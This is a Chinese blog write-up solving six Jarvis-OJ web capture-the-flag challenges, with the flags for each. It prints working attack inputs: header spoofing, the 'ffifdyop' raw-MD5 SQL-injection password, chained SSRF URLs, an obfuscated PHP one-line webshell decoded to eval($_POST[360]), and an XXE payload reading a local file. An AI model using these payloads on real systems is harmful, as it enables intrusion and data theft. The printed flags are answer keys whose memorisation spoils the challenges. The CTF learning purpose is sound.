Jarvis-OJ-Web writeup

原创

a370793934 于 2019-11-28 09:01:50 发布 782 收藏 1
分类专栏： WriteUp 文章标签： Jarvis-OJ Web writeup ctf

本文链接：https://blog.csdn.net/a370793934/article/details/103286995

PORT51

访问了页面发现让你

Please use port 51 to visit this site.

明显是绑定的端口，不可能用51端口去访问啊，很困惑结果是自己去访问的时候需要用到51端口啊…原来如此，使用curl中的–local-port命令

--local-port <端口号>[-num]设置连接使用的首选端口号或本地端口范围。请注意，端口号是一种稀缺资源，繁忙时，请将端口范围缩小来避免不必要的连接失败。(在7.15.2版加入)

构造payload如下

sudo curl --local-port 51 http://web.jarvisoj.com:32770/

1得到结果

PCTF{M45t3r_oF_CuRl}

LOCALHOST

http://web.jarvisoj.com:32774/

题目链接点进去提示说，localhost access only!!

直接改请求头里的X-Forwarded-For: 127.0.0.1即可。

Yeah!! Here's your flag:

PCTF{X_F0rw4rd_F0R_is_not_s3cuRe}

Login

http://web.jarvisoj.com:32772/

抓包，发现了hint Hint: "select * from `admin` where password='".md5($pass,true)."'"

想到万能密码绕过

万能密码字符串：ffifdyop

md5后的值：276f722736c95d99e921722cf9ed621c

十六进制解码得到：'or'6] !r，b

所以输入ffifdyop得到

Correct pass!! Your Flag:

PCTF{R4w_md5_is_d4ng3rous}

Hello World

http://web.jarvisoj.com:32792/

御剑扫描发现admin_s3cr3t.php，访问

http://web.jarvisoj.com:32792/admin_s3cr3t.php

得到flag{hello guest} 但不对

bs抓包改admin=1

得到

flag{hello_admin~}

菜刀

http://web.jarvisoj.com:32782/

看源码有SSRF漏洞，bs抓包提示，管理员ip必须为202.5.19.128，构造：

http://web.jarvisoj.com:32782/proxy.php?url=http://202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin/robots.txt

显示

User-agent: *

Disallow:trojan.php

Disallow:trojan.php.txt

访问

http://web.jarvisoj.com:32782/proxy.php?url=http://202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin/trojan.php.txt

得到

<?php ${("#"^"|").("#"^"|")}=("!"^"`").("("^"{").("("^"[").("~"^";").("|"^".").("*"^"~");${("#"^"|").("#"^"|")}(("-"^"H"). ("]"^"+"). ("["^":"). (","^"@"). ("}"^"U"). ("e"^"A"). ("("^"w").("j"^":"). ("i"^"&"). ("#"^"p"). (">"^"j"). ("!"^"z"). ("T"^"g"). ("e"^"S"). ("_"^"o"). ("?"^"b"). ("]"^"t"));?>

复制到php文件，用phpstuy解析，得到一句话木马密码360

Warning: assert() [function.assert]: Assertion "eval($_POST[360])" failed in C:\phpStudy\PHPTutorial\WWW\222.php on line 1

然后访问

http://web.jarvisoj.com:32782/proxy.php?url=http://202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin/trojan.php

POST内容：360=phpinfo();

发现直接显示了flag

flag:CTF{fl4g_1s_my_c40d40_1s_n0t_y0urs}

api调用

题目链接： http://web.jarvisoj.com:9882/

在窗口输入数据会根据输入数据有不同的回显。

回显为输入数据+own

结合题目描述:请设法获得目标机器/home/ctf/flag.txt中的flag值，想到了利用XXE读取文件。

于是把请求头里的Content-Type改为application/xml，并传入<name>miracle778</name>进行测试，如下图，发现返回了XML内容。

于是可以确定，此处存在XXE漏洞，然后只需构造payload读取/home/ctf/flag.txt即可。

payload:

<!DOCTYPE miracle [

<!ENTITY name SYSTEM "file:///home/ctf/flag.txt">

]

>

<miracle>&name;</miracle>

可以得到最后的flag为

CTF{XxE_15_n0T_S7range_Enough}

待续